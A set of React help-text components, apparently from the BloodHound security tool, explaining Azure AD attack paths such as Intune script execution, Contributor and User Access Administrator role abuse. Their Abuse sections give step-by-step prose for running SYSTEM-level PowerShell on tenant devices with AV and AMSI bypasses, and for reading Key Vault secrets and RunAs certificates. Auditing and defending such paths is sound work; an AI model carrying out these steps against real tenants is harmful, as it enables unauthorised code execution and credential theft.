``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteOwner/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 258 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
Principals with the Intune Administrators role are able to
execute arbitrary PowerShell scripts on devices that are joined
to the Azure Active Directory tenant.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZExecuteCommand/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 64 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZExecuteCommand = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZExecuteCommand.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZExecuteCommand;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZExecuteCommand/AZExecuteCommand.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 230 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
MITRE: Execution
</a>
<br />
<a href='path_to_url
Death from Above: Lateral Movement from Azure to On-Prem AD
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZExecuteCommand/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
When the Intune agent pulls down and executes PowerShell
scripts, a number of artifacts are created on the endpoint
some permanent and some ephemeral.
</p>
<p>
Two files are created on the endpoint when a PowerShell script
is executed in the following locations: - C:\Program files
(x86)\Microsoft Intune Management Extension\Policies\Scripts -
C:\Program files (x86)\Microsoft Intune Management
Extension\Policies\Results
</p>
<p>
The file under the Scripts folder will be a local copy of the
PS1 stored in Azure, and the file under the Results folder
will be the output of the PS1; however, both of these files are
automatically deleted as soon as the script finishes running.
</p>
<p>
There are also permanent artifacts left over (assuming the
attacker doesnt tamper with them). A full copy of the contents
of the PS1 can be found in this log file: -
C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\_IntuneManagementExtension.txt
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZExecuteCommand/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 278 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
First, have your PowerShell script ready to go and save it
somewhere as a PS1 file. Take all the necessary operational
security (opsec) and AMSI-bypass steps you want at this point,
keeping in mind the script will run as the SYSTEM user unless
you specify otherwise. Also keep in mind that the script will
be written to disk, so take whatever AV bypass measures you need
as well.
</p>
<p>
Next, log into the Azure web portal as the user with the Intune
Administrator role activated. After authenticating, access Endpoint
Manager at path_to_url
</p>
<p>
Click on Devices on the left, which takes you, unsurprisingly, to
the devices overview. Click on Scripts under the Policy section
to go to the scripts management page. Click Add, then click Windows
10
</p>
<p>
This will bring you to the Add Powershell Script page. On this first
page, youll enter a name for the script and a brief description. On the
next page, click the folder and then select your PS1 from the common
dialogue window. Youve now got three options to configure, but can
leave them all in the default No position. Most interestingly, keeping
the first selection as No will cause the script to run as the SYSTEM user
</p>
<p>
Click next, and youll see the page that lets you scope which systems and
users this script will execute for. You can choose to assign the script to
All devices, All users, or All users and devices. If you leave the
Assign to dropdown at its default selection of Selected groups, you can
scope the script to only execute on systems or for users that belong to
certain security groups. The choice is yours: run the script on every
possible system or constrain it to only run on certain systems by scoping it
to existing security groups or by adding specific devices or users to new
security groups.
</p>
<p>
Click Next and youll see the review page which lets you see what youre
about to do. Click Add and Azure will begin registering the script.
</p>
<p>
At this point, the script is now ready to run on your target systems. This
process works similarly to Group Policy, in that the Intune agent running
on each device periodically checks in (by default every hour) with
Intune/Endpoint Manager to see if there is a PowerShell script for it to run,
so you will need to wait up to an hour for your target system to actually pull
the script down and run it.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZExecuteCommand/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 628 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The contributor role grants almost all abusable privileges in all
circumstances, with some exceptions. Those exceptions are not
collected by AzureHound.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 63 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZContributor = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContributor/AZContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 227 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>This depends on what the target object is:</p>
<p>
<strong>Key Vault</strong>: You can read secrets and alter
access policies (grant yourself access to read secrets)
</p>
<p>
<strong>Automation Account</strong>: You can create a new
runbook that runs as the Automation Account, and edit existing
runbooks. Runbooks can be used to authenticate as the Automation
Account and abuse privileges held by the Automation Account. If
the Automation Account is using a 'RunAs' account, you can
gather the certificate used to login and impersonate that
account.
</p>
<p>
<strong>Virtual Machine</strong>: Run SYSTEM commands on the VM
</p>
<p>
<strong>Resource Group</strong>: NOT abusable, and not collected
by AzureHound
</p>
<p>Via PowerZure:</p>
<a href='path_to_url#get-azurekeyvaultcontent'>
Get-AzureKeyVaultContent
</a>
<br />
<a href='path_to_url#export-azurekeyvaultcontent'>
Export-AzureKeyVaultContent
</a>
<br />
<a href='path_to_url#get-azurerunascertificate'>
Get-AzureRunAsCertificate
</a>
<br />
<a href='path_to_url#get-azurerunbookcontent'>
Get-AzureRunbookContent
</a>
<br />
<a href='path_to_url
<br />
<a href='path_to_url
<br />
<a href='path_to_url#invoke-azurerunprogram'>
Invoke-AzureRunProgram
</a>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 418 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the GroupMember.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 80 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the GroupMember.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 80 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGGroupMember_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGGroupMember_ReadWrite_All.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGGroupMember_ReadWrite_All;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/AZMGGroupMember_ReadWrite_All.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 237 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the GroupMember.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroupMember_ReadWrite_All/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 82 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
This edge indicates that a principal has been granted a particular
AzureAD admin role.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZHasRole/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 50 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
No abuse is necessary. This edge only indicates
that the principal has been granted a particular
AzureAD admin role.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZHasRole/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 62 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
Microsoft Graph Permission Reference
</a>
<br />
<a href='path_to_url
Azure role-based access control
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZHasRole/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 70 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
The opsec considerations for a particular action authorized by a
principal“s active AzureAD role assignment will wholly depend
on what the action taken is. This edge does not capture all abusable
possibilities.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZHasRole/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The User Access Admin role can edit roles against many other objects
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZUserAccessAdministrator/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 45 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZHasRole = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZHasRole.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZHasRole;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZHasRole/AZHasRole.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 225 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZUserAccessAdministrator = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZUserAccessAdministrator.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZUserAccessAdministrator;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZUserAccessAdministrator/AZUserAccessAdministrator.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 235 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<p>
This role can be used to grant yourself or another principal any
privilege you want against Automation Accounts, VMs, Key Vaults, and
Resource Groups. Use the Azure portal to add a new, abusable role
assignment against the target object for yourself.
</p>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZUserAccessAdministrator/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 87 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.